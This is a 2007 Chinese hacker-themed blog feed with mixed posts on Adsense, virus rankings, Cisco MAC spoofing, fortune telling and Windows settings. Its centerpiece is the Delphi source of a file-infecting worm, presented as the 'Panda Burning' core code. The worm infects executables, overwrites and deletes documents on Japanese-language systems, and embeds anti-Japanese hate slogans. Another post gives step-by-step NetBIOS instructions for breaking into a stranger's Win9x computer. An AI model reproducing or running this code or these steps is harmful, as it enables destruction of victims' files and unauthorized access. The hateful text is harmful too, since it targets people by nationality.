IT博客网-YIYE黑客技术

巧用博客挂Google Adsense广告赚美元

yiye — Tue, 22 May 2007 09:17:00 GMT

许多个人网站站长申请了google adsense广告，在自己的网站挂上广告，让流量变成美元。现在又流行开博客，据说国内博客数量已有数百万个。许多博客的访问量也是惊人的，例如老徐的博客总流量已经超过千万。那么，能不能让博客也帮我们赚钱呢？

经过摸索，我发现小法宝博客也可以挂google adsense广告，哈哈，爽吧，可以靠博客赚美元了！

首页左侧，以及每个文章页面的底部等，都可以放置google adsense广告。你也想利用博客来赚广告费吗？跟我一起来吧！

首先介绍一下，在博客挂google adsense广告需要具备的条件： 1.你需要有一个博客（废话）。 2.你需要已经申请google adsense，并获批准。如果你还没有申请，请到点击本站首页的“通过Google Adsense使您的网站产生收益”图标去申请。 3.将代码和你的大作一起上传到你的博客并大力推广，使尽可能多的网友浏览你的博客。

接下来介绍具体的实现步骤：第一步：登陆google adsense后台，生成广告代码。小法宝博客首页左侧的广告，最合适的广告形式是“摩天大楼”（160*600）。复制代码到记事本，保存为.htm文件，文件名任取，例如google.htm。然后把这个文件上传到你的网站空间里，你要弄清楚这个文件的实际URL地址，下一步的代码中将通过这个URL地址来调用google adsense广告代码。第二步：登陆博客控制面板，在左侧菜单中点击“首页内容维护”，进入“自定义空白面板”，点击“新增”，为面板取一个标题，例如“google广告”，注意要勾选“显示源代码”，然后在内容框中输入代码：frameBorder=0 width=160 scrolling=no height=600>
，之后点“保存”。第三步：在控制面板左侧菜单中点击“定制我的首页”，在随后的弹出页中点击“添加模块”，勾选上一步新增的“google广告”面板，单击“选取”）。这时，已经看到google adsense广告的初貌了，不过，它是出现在左侧最下方的，你可把它移动到“活动地带”的下方。最后点“保存设置”，快到首页去看看，google adsense广告已经显示在首页了。

文章页面也可添加google adsense广告。只要在google adsense后台生成一个468*60或其它形式的广告代码，然后将代码文件上传到你自己的网站空间，最后在每个文章源代码的合适合位置加入以下代码即可：。

注意：1.只有使用Word编辑器的才能显示源代码，因此，使用UBB编辑器环境下发表的文章中无法添加google adsense广告。 2.根据google adsense许可政策，无论首页还是次页，每个页面最多只能加入3个广告位，因此，请不要将广告加在文章顶部，否则你的博客首页中，每篇文章顶部的广告都会显示。

yiye 2007-05-22 17:17 发表评论

PC历史上10大最具破坏力病毒排行出炉

yiye — Mon, 21 May 2007 15:37:00 GMT

中国IT产业社区网站Techweb根据多方面评估，评出了20年来破坏力最大的10种计算机病毒：

1. CIH（1998年）感染Win95/98中的可行性文件，这种病毒在Windows环境下传播，其实时性和隐蔽性都特别强，变种可以重写BIOS.大约在世界范围内造成了两千万到八千万美元的损失。

2.梅利莎（Melissa，1999年）Melissa病毒是一种迅速传播的宏病毒，它作为电子邮件的附件进行传播，尽管Melissa病毒不会毁坏文件或其它资源，但是它可能会使企业或其它邮件服务端程序停止运行，因为它发出大量的邮件形成了极大的电子邮件信息流。1999年3月26日爆发，感染了15%-20%的商业电脑，带来了三千万到六千万美元的损失。

3.爱虫（I love you，2000年）和Melissa一样通过电子邮件传播，而其破坏性要比Melissa强的多，可以删除本地部分图片和文本，大约造成了一千万到一千五百万美元的损失。

4.红色代码（Code Red，2001年）Code Red是一种蠕虫病毒，本质上是利用了缓存区溢出攻击方式，使用服务器的端口80进行传播，而这个端口正是Web服务器与浏览器进行信息交流的渠道。与其它病毒不同的是，Code Red并不将病毒信息写入被攻击服务器的硬盘，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了二百八十万美元的损失。

5. SQL Slammer（2003年）Slammer是一款DDOS恶意程序，透过一种全新的传染途径，采取分布式阻断服务攻击感染服务器，它利用SQL Server弱点采取阻断服务攻击1434端口并在内存中感染SQL Server，通过被感染的SQL Server再大量的散播阻断服务攻击与感染，造成SQL Server无法正常作业或宕机，使内部网络拥塞。和Code Red一样，它只是驻留在被攻击服务器的内存中。大约在世界范围内造成了五十万台服务器当机，让韩国整个网络瘫痪了12个小时。

6.冲击波（Blaster，2003年）冲击波病毒是利用微软公司在当年7月21日公布的RPC漏洞进行传播的，只要是计算机上有RPC服务并且没有打安全补丁的计算机都存在有RPC漏洞，该病毒感染系统后，会使计算机产生下列现象：系统资源被大量占用，有时会弹出RPC服务终止的对话框，并且系统反复重启，不能收发邮件、不能正常复制文件、无法正常浏览网页，复制粘贴等操作受到严重影响，DNS和IIS服务遭到非法拒绝等。这个病毒该是近期国内比较熟悉一个大范围影响的病毒了。大约造成了二百万到一千万美元的损失，而事实上受影响的电脑则是成千上万，不计其数。

7.大无极。F（Sobig.F，2003年）这是Sobig蠕虫的第5个变种，具有非常强的感染能力，因此将会发生庞大的电子邮件传输，使全球各地的电子邮件服务器当机，由于其特性，还将会极其危险的泄漏本地数据。大约造成了五百万到一千万美元的损失，有超过一百万台电脑受感染。

8.贝革热（Bagle，2004年）Bagle也被称为Beagle，是一种透过电子邮件散布的蠕虫病毒，它通过远程访问网站利用电子邮件系统进行散布，并在Windows系统建立backdoor，至今为止，这个蠕虫可能是程度最严重，传播范围最广泛的蠕虫病毒，其影响仍然处于上升趋势。目前已经造成了上千万美元的损失，而且仍然在继续。

9. MyDoom（2004年）该病毒采用的是病毒和垃圾邮件相结合的战术，可以迅速在企业电子邮件系统中传播开来，导致邮件数量暴增，从而阻塞网络。不管是病毒还是垃圾邮件，无论哪一样在去年都给用户造成了足够多的烦恼，而如今这两者的结合更是来势凶猛，再加上大多数用户对此并不知情，使得这种病毒的传播速度突破了原来的各种病毒的传播速度。根据MessageLabs调查公司的数据显示，在MyDoom病毒发作的高峰时刻，每10封邮件中就有一封被此种病毒感染，而对于前一年肆虐的Sobig病毒，每17封邮件中才会有一封邮件被感染。在其爆发最严重的时候，让全球的网络速度大幅度价低。

10.震荡波（Sasser，2004年）震荡波病毒会在网络上自动搜索系统有漏洞的电脑，并直接引导这些电脑下载病毒文件并执行，因此整个传播和发作过程不需要人为干预。只要这些用户的电脑没有安装补丁程序并接入互联网，就有可能被感染。这样子的发作特点很像当年的冲击波，会让系统文件崩溃，造成电脑反复重启。目前已经造成了上千万美元的损失。

yiye 2007-05-21 23:37 发表评论

全球九大病毒寄居地

yiye — Mon, 21 May 2007 14:52:00 GMT

据英国著名安全软件厂商sophos日前公布的调查报告显示，今年第一季度，中国和美国依然托管着全球大部分恶意网站。而中国托管的恶意网站上的病毒数量占到了全球的41.1%，高居榜首。

今年第一季度，sophos每天平均发现5000个新感染页面。其中，大部分含有病毒的网站均由中国和美国托管。今年3月份，中国的托管比例为35.6%，美国为32.3%。但整个第一季度，中国的托管比例上升到41.1%，而美国为29.2%。以下为今年第一季度恶意网站九大托管国家：

1. 中国（41.1%）

2. 美国（29.2%）

3. 俄罗斯（4.6%）

4. 德国（4.6%）

5. 乌克兰（3.9%）

6. 英国（3.0%）

7. 法国（2.2%）

8. 荷兰（1.9%）

9. 韩国（1.3%）

yiye 2007-05-21 22:52 发表评论

熊猫烧香核心代码

yiye — Mon, 21 May 2007 14:51:00 GMT

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记

//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); //跳过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
  try
    for i := 0 to $108 do //检查pe文件头
    begin
    srcstream.seek(i, sofrombeginning);
    srcstream.read(buf, 2);
    if (buf[0] = #80) and (buf[1] = #69) then //pe标记
    begin
      ispe := true; //是pe文件
      break;
    end;
    end;
    srcstream.seek(-4, sofromend); //检查感染标记
    srcstream.read(iid, 4);
    if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    infected := true;
  finally
    srcstream.free;
  end;
  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
    exit;
  icostream := tmemorystream.create;
  dststream := tmemorystream.create;
  try
    aicon := ticon.create;
    try
    //得到被感染文件的主图标(744字节)，存入流
    aicon.releasehandle;
    aicon.handle := extracticon(hinstance, pchar(filename), 0);
    aicon.savetostream(icostream);
    finally
    aicon.free;
    end;
    srcstream := tfilestream.create(filename, fmopenread);
    //头文件
    hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
    //写入病毒体主图标之前的数据
    copystream(hdrstream, 0, dststream, 0, iconoffset);
    //写入目前程序的主图标
    copystream(icostream, 22, dststream, iconoffset, iconsize);
    //写入病毒体主图标到病毒体尾部之间的数据
    copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    //写入宿主程序
    copystream(srcstream, 0, dststream, headersize, srcstream.size);
    //写入已感染的标记
    dststream.seek(0, 2);
    iid := $44444444;
    dststream.write(iid, 4);
    finally
    hdrstream.free;
    end;
  finally
    srcstream.free;
    icostream.free;
    dststream.savetofile(filename); //替换宿主文件
    dststream.free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
  setfileattributes(pchar(filename), 0); //去掉只读属性
  filehandle := fileopen(filename, fmopenwrite); //打开文件
  try
    size := getfilesize(filehandle, nil); //文件大小
    i := 0;
    randomize;
    max := random(15); //写入垃圾码的随机次数
    if max < 5 then
    max := 5;
    mass := size div max; //每个间隔块的大小
    len := length(catchword);
    while i < max do
    begin
    fileseek(filehandle, i * mass, 0); //定位
    //写入垃圾码，将文件彻底破坏掉
    filewrite(filehandle, catchword, len);
    inc(i);
    end;
  finally
    fileclose(filehandle); //关闭文件
  end;
  deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  d := chr(i + 65);
  str := d + ':\';
  disktype := getdrivetype(pchar(str));
  //得到本地磁盘和网络盘
  if (disktype = drive_fixed) or (disktype = drive_remote) then
    result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
  if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 0 //不是目录
  else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 1 //不是根目录
  else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
  repeat
    peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
    if isvaliddir(searchrec) = 0 then
    begin
    fn := path + searchrec.name;
    ext := uppercase(extractfileext(fn));
    if (ext = '.exe') or (ext = '.scr') then
    begin
      infectonefile(fn); //感染可执行文件
    end
    else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    begin
      //感染html和asp文件，将base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之？
    end
    else if ext = '.wab' then //outlook地址簿文件
    begin
      //获取outlook邮件地址
    end
    else if ext = '.adc' then //foxmail地址自动完成文件
    begin
      //获取foxmail邮件地址
    end
    else if ext = 'ind' then //foxmail地址簿文件
    begin
      //获取foxmail邮件地址
    end
    else
    begin
      if isjap then //是倭文操作系统
      begin
        if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
        (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
        (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
        (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
        (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
        (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
          smashfile(fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
    sleep(200);
  until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
  repeat
    if isvaliddir(searchrec) = 1 then
    subdir.add(searchrec.name);
  until (findnext(searchrec) <> 0);
  end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
  loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
  isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
  for i := len downto 1 do //遍历每个磁盘驱动器
    loopfiles(driverlist + ':\', '*.*'); //感染之
  sendmail; //发带毒邮件
  sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
  registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
  //远程线程映射到explorer进程
  //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
  infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
  tmpfile := paramstr(0); //创建临时文件
  delete(tmpfile, length(tmpfile) - 4, 4);
  tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
  extractfile(tmpfile); //分离之
  fillstartupinfo(si, sw_showdefault);
  createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    0, nil, '.', si, pi); //创建新进程运行之
  infectfiles; //感染和发邮件
end;
end.

yiye 2007-05-21 22:51 发表评论

以太网MAC地址的获取更改应用

yiye — Mon, 21 May 2007 14:50:00 GMT

以太网mac地址唯一地标识了世界上的每个以太网设备。每一个生产网络设备的厂商都要将mac地址预先写进其设备中（如：以太网网卡，路由器，交换机等）。各种媒体已有很多文章介绍获得mac地址的方法。今天我们主要讨论怎样在cisco的ios获得、改变mac地址，并使用mac地址进行网络通信过滤。

获得mac地址

在交换机的命令输入窗口，输入“show mac-address-table”可以获得mac地址表，例如：

switch# show mac-address-table
            mac address table
            -------------------------------------------
            vlan    mac address       type        ports
            ----    -----------       --------    -----
            all    0014.1c40.b080    static      cpu
            all    0100.0ccc.cccc    static      cpu
            all    0100.0ccc.cccd    static      cpu
            all    0100.0cdd.dddd    static      cpu
            1    000f.1fd3.d85a    dynamic     fa0/14

在思科路由器上，可以使用“show interfaces”来查看mac地址。例如：

routerb# show interfaces
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0003.e39b.9220 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8

在第二行，可以看到：“bia 0003.e39b.9220”，bia即“烧录地址”（burned in address），mac地址即0003.e39b.9220。

改变mac地址

改变mac地址实质上其否定含义就是mac欺骗。特别是对于无线网络的攻击，改变mac地址是常用的方法。改变mac地址也可以用于合法的用途，如测试mac过滤。

要改变设备在路由器上的mac地址，需在interface configuration mode（界面配置模式）下，使用“mac –地址”命令。例如：

routerb# conf t
            enter configuration commands, one per line.  end with cntl/z.
            routerb(config)# int e0/0
            routerb(config-if)# mac-address 0000.0000.0001
            routerb(config-if)#^z
            routerb#
            routerb# show int e0/0
            ethernet0/0 is up, line protocol is up
            hardware is amdp2, address is 0000.0000.0001 (bia 0003.e39b.9220)
            internet address is 1.1.1.1/8

在改变mac地址以后，可以使用show interface命令来查看新的地址。

基于mac地址的通信过滤

通过协议分析仪，可以发现一些网络中某些设备非正常的数据通信。例如，某设备通过多个ip地址发送数据包。

这种情况，可以使用show mac-address-table命令来查看它所使用的交换机端口，并可以关闭此端口。但是，如果此端口连接的是一个集线器，而集线器又连接了许多其它设备那该怎么办呢？

有一个方法便是使用mac地址过滤来对路由器或交换机的数据通信进行过滤。下面是一个例子：

cat3750switch(config)# mac access-list ext filtermac
            cat3750switch(config-ext-macl)# deny host 0000.0000.0001 any
            cat3750switch(config-ext-macl)# permit any any
            cat3750switch(config-ext-macl)# exit
            cat3750switch(config)# int g1/0/40
            cat3750switch(config-if)# mac access-group filtermac in

此命令在cisco catalyst 3750 gigabit ethernet switch交换机上完成。我们创建了一个名为“filtermac”的acl（访问控制表）。这个acl拒绝了与源地址为0000.0000.0001（十六进制非二进制）的所有数据通信，但是却允许其它地址的数据通信。将这个acl运用到界面1/0/40，这就防止了拥有这个mac地址的设备与本端口的数据通信，而不管它的ip地址是什么。

但是，不管怎么说，mac地址过滤并非安全措施，因为他人可以轻易地改变mac地址。

yiye 2007-05-21 22:50 发表评论

左吉右凶？眼皮跳大占卜

yiye — Sun, 20 May 2007 13:28:00 GMT

子时：23点——01点前

　　左眼：意外之喜降临，会有不错好运，你的心脏要强一点，别兴奋过了头。
　　右眼：有人请你吃饭，可

以省下一笔钱，但是这个人的目的不明，你要多多斟酌。

      丑时：01点——03点前

     左眼：家中最近很麻烦，大小事困扰着，不知该怎么办，短期内一筹莫展。
     右眼：有人思念你，有可能是家中长辈，相互牵挂太久了，有空打电话关心一下吧。

     寅时：03点——05点前

     左眼：会有朋友自远方而来，狠狠吃你一顿！如果你并非别有所图或手边闲钱多，接到朋友电话一定要装忙。
     右眼：家人有机会得到意外之财，例如忽然中了奖，也有可能丢掉的钱又找回来了。

     卯时：05点——07点前

     左眼：贵人贵客报到，让你生命重现曙光，多留意忽然出现在你身边；很久不见的朋友。
     右眼：平安顺利，不必太过担心可能发生危险的状况，吉人自有天相，安心睡觉吧。

     辰时：07点——09点前

     左眼：人际关系会变好，许久不见的朋友再次相逢，可能捎来不错的喜讯。
     右眼：钱财就这样不知不觉地流失掉，花了许多冤枉钱。

     巳时：09点——11点前

     左眼：会有好处可以捞，目前的你颇有利用价值，别人都会让你三分。
     右眼：开车小心，提醒家人多注意平安，危险出现在四周。

     午时：11点——13点前

     左眼：长期耕耘总算有了结果，你可以松一口气，准备享受成果吧。
     右眼：意料之外的事情发生，还好机率不高，继续保持警戒才好。

     未时：13点——15点前

     左眼：你可能在打赌或玩麻将时输了不少钱，别输光了才来后悔。
     右眼：有好事发生，但属于微不足道，你也不会很高兴的那种小事。

     申时：15点——17点前

     左眼：忽然想起什么事情吗？快点去做，当下想到的，最容易成功了。
     右眼：异性缘佳，你的贵人就是异性，他们对你，比同性宽容多了。

     酉时：17点——19点前

     左眼：为人辛苦为人忙，好在有收获，帮别人也是在帮自己。
     右眼：刚认识的朋友就可以熟得不得了，和他们多混熟点会很不错。

     戌时：19点——21点前

     左眼：有人指派工作给你，不要想太多，快点答应，其他的问题会自然会迎刃而解喔！
     右眼：得意忘形了吗？小心小人随时准备落井下石，你别太嚣张。

     亥时：21点——23点前

     左眼：享受合家团圆、多方肯定，再加把劲，你会做得更漂亮。
     右眼：提防官司纠纷，你要不口舌冒犯人，要不就是弄坏东西！

yiye 2007-05-20 21:28 发表评论

知道对方IP入侵别人的电脑

yiye — Sun, 20 May 2007 06:09:00 GMT

黑客已经成为一种文化，很多人想成为黑客，他们偶尔学到了几种小花招，总喜欢拿别人开玩笑，搞些恶作剧。其实黑客的最高境界在于防守，不在于进攻。所谓明枪易躲暗箭难防，要防住他人所有的进攻，肯定需要懂得比对方更多的系统知识，了解更多的系统漏洞，及如何弥补漏洞。现在满天都是黑客教程，但真正有用的不多，下面介绍一种WIN9X下的入侵方法:
1.取得对方IP地址如XX.XX.XX.XX，方法太多不细讲了。

2.判断对方上网的地点，开个DOS窗口键入 TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是对方的上网地点。

3.得到对方电脑的名称，开个DOS窗口键入 NBTSTAT -A XX.XX.XX.XX 第一行是对方电脑名称第二行是对方电脑所在工作组第三行是对方电脑的说明

4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件： XX.XX.XX.XX 电脑名

5.开DOS窗口键入 NBTSTAT -R

6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可进入。

以上方法请不要乱用，本人对你用上面的方法所惹出的麻烦概不负责，请慎重。对付上面进攻的最好办法就是隐藏你的IP地址。

yiye 2007-05-20 14:09 发表评论

入侵WinXP常用七大招数

yiye — Sun, 20 May 2007 06:08:00 GMT

本文讲述了黑客入侵Windows XP操作系统常用的七种方法，如果大家遇到类似那可要注意了……

第一招：屏幕保护

在Windows中启用了屏幕保护之后，只要我们离开计算机(或者不操作计算机)的时间达到预设的时间，系统就会自动启动屏幕保护程序，而当用户移动鼠标或敲击键盘想返回正常工作状态时，系统就会打开一个密码确认框，只有输入正确的密码之后才能返回系统，不知道密码的用户将无法进入工作状态，从而保护了数据的安全。

提示：部分设计不完善的屏幕保护程序没有屏蔽系统的“Ctrl+Alt+Del”的组合键，因此需要设置完成之后测试一下程序是否存在这个重大Bug。

不过，屏幕保护最快只能在用户离开1分钟之后自动启动，难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活之后才能再离开吗?其实我们只要打开Windows安装目录里面的system子目录，然后找到相应的屏幕保护程序(扩展名是SCR)，按住鼠标右键将它们拖曳到桌面上，选择弹出菜单中的“在当前位置创建快捷方式”命令，在桌面上为这些屏幕保护程序建立一个快捷方式。

此后，我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。

第二招：巧妙隐藏硬盘

在“按Web页”查看方式下，进入Windows目录时都会弹出一句警告信息，告诉你这是系统文件夹如果“修改该文件夹的内容可能导致程序运行不正常，要查看该文件夹的内容，请单击显示文件”，这时单击“显示文件”就可以进入该目录了。

原因是在Windows根目录下有desktop.ini和folder.htt两个文件作祟。将这两个文件拷贝到某个驱动器的根目录下(由于这两个文件是隐藏文件，之前必须在文件夹选项中单击“查看”标签，选择“显示所有文件”，这样就可以看见这两个文件了)。再按“F5”键刷新一下，看看发生了什么，是不是和进入Windows目录时一样。

接下来我们用“记事本”打开folder.htt，这是用HTML语言编写的一个文件，发挥你的想像力尽情地修改吧。

如果你不懂HTML语言也没关系，先找到“显示文件”将其删除，找到“修改该文件夹的内可能导致程序运行不正常，要查看该文件夹的内容，请单击显示文件”，将其改为自己喜欢的文字，例如“安全重地，闲杂人等请速离开”。

将“要查看该文件夹的内容，请单击”改为“否则，后果自负!”，接着向下拖动滑块到倒数第9行，找到“(file：//%TEMPLATEDIR% /wvlogo.gif)”这是显示警告信息时窗口右下角齿轮图片的路径，将其改为自己图片的路径，例如用“d: /tupian/tupian1.jpg”替换“//”后面的内容，记住这里必须将图片的后缀名打出，否则将显示不出图片。

当然，你还可以用像Dreamweaver、FrontPage这样的网页工具做出更好的效果，然后只要将原文件拷贝到下面这段文字的后面，覆盖掉原文件中“～”之间的内容就可以了。

*ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer5.0
*usingthefile%THISDIRPATH%/folder.htt.

保存并退出，按“F5”键刷新一下，是不是很有个性?接下来要作的就是用“超级兔子”将你所要的驱动器隐藏起来，不用重新启动就可以欣赏自己的作品了。最后告诉大家一招更绝的，就是干脆将folder.htt原文件中“～”之间的内容全部删除，这样就会给打开你的驱动器的人造成一种这是一个空驱动器的假象，使其中的文件更安全。

第三招：禁用“开始”菜单命令

在Windows2000/XP中都集成了组策略的功能，通过组策略可以设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运行“开始→运行”命令，在“运行”对话框的“打开”栏中输入“gpedit.msc”，然后单击“确定”按钮即可启动WindowsXP组策略编辑器。

在“本地计算机策略”中，逐级展开“用户配置→管理模板→任务栏和开始菜单”分支，在右侧窗口中提供了“任务栏”和“开始菜单”的有关策略。

在禁用“开始”菜单命令的时候，在右侧窗口中，提供了删除“开始”菜单中的公用程序组、“我的文档”图标、“文档”菜单、“网上邻居”图标等策略。清理“开始”菜单的时候只要将不需要的菜单项所对应的策略启用即可，比如以删除“我的文档”图标为例，具体操作步骤为：

1)在策略列表窗口中用鼠标双击“从开始菜单中删除我的文档图标”选项。

2)在弹出窗口的“设置”标签中，选择“已启用”单选按钮，然后单击“确定”即可。

第四招：桌面相关选项的禁用

WindowsXP的桌面就像你的办公桌一样，有时需要进行整理和清洁。有了组策略编辑器之后，这项工作将变得易如反掌，只要在“本地计算机策略”中展开“用户配置→管理模板→桌面”分支，即可在右侧窗口中显示相应的策略选项。

1)隐藏桌面的系统图标

倘若隐藏桌面上的系统图标，传统的方法是通过采用修改注册表的方式来实现，这势必造成一定的风险性，采用组策略编辑器，即可方便快捷地达到此目的。

若要隐藏桌面上的“网上邻居”和“InternetEXPlorer”图标，只要在右侧窗口中将“隐藏桌面上网上邻居图标”和“隐藏桌面上的 InternetEXPlorer图标”两个策略选项启用即可。如果隐藏桌面上的所有图标，只要将“隐藏和禁用桌面上的所有项目”启用即可。

当启用了“删除桌面上的我的文档图标”和“删除桌面上的我的电脑图标”两个选项以后，“我的电脑”和“我的文档”图标将从你的电脑桌面上消失了。如果在桌面上你不再喜欢“回收站”这个图标，那么也可以把它给删除，具体方法是将“从桌面删除回收站”策略项启用。

2)禁止对桌面的某些更改

如果你不希望别人随意改变计算机桌面的设置，请在右侧窗口中将“退出时不保存设置”这个策略选项启用。当你启用这个了设置以后，其他用户可以对桌面做某些更改，但有些更改，诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存。

第五招：禁止访问“控制面板”

如果你不希望其他用户访问计算机的控制面板，你只要运行组策略编辑器，并在左侧窗口中展开“本地计算机策略→用户配置→管理模板→控制面板”分支，然后将右侧窗口的“禁止访问控制面板”策略启用即可。

此项设置可以防止控制面板程序文件的启动，其结果是他人将无法启动控制面板或运行任何控制面板项目。另外，这个设置将从“开始”菜单中删除控制面板，同时这个设置还从Windows资源管理器中删除控制面板文件夹。

提示：如果你想从上下文菜单的属性项目中选择一个“控制面板”项目，会出现一个消息，说明该设置防止这个操作。

第六招：设置用户权限

当多人共用一台计算机时，在WindowsXP中设置用户权限，可以按照以下步骤进行：

1)运行组策略编辑器程序。

2)在编辑器窗口的左侧窗口中逐级展开“计算机配置→Windows设置→安全设置→本地策略→用户权限指派”分支。

3)双击需要改变的用户权限，单击“添加用户或组”按钮，然后双击想指派给权限的用户账号，最后单击“确定”按钮退出。

第七招：文件夹设置审核

WindowsXP可以使用审核跟踪用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启动以及类似的事件，而审核文件和NTFS分区下的文件夹可以保证文件和文件夹的安全。为文件和文件夹设置审核的步骤如下：

1)在组策略窗口中，逐级展开右侧窗口中的“计算机配置→Windows设置→安全设置→本地策略”分支，然后在该分支下选择“审核策略”选项。

2)在右侧窗口中用鼠标双击“审核对象访问”选项。

3)用鼠标右键单击想要审核的文件或文件夹，选择弹出菜单的“属性”命令，接着在弹出的窗口中选择“安全”标签。

4)单击“高级”按钮，然后选择“审核”标签。

5)根据具体情况选择你的操作：

倘若对一个新组或用户设置审核，可以单击“添加”按钮，并且在“名称”框中键入新用户名，然后单击“确定”按钮打开“审核项目”对话框。

要查看或更改原有的组或用户审核，可以选择用户名，然后单击“查看/编辑”按钮。

要删除原有的组或用户审核，可以选择用户名，然后单击“删除”按钮即可。

6)如有必要的话，在“审核项目”对话框中的“应用到”列表中选取你希望审核的地方。

7)如果想禁止目录树中的文件和子文件夹继承这些审核项目，选择“仅对此容器内的对象和/或容器应用这些审核项”复选框。

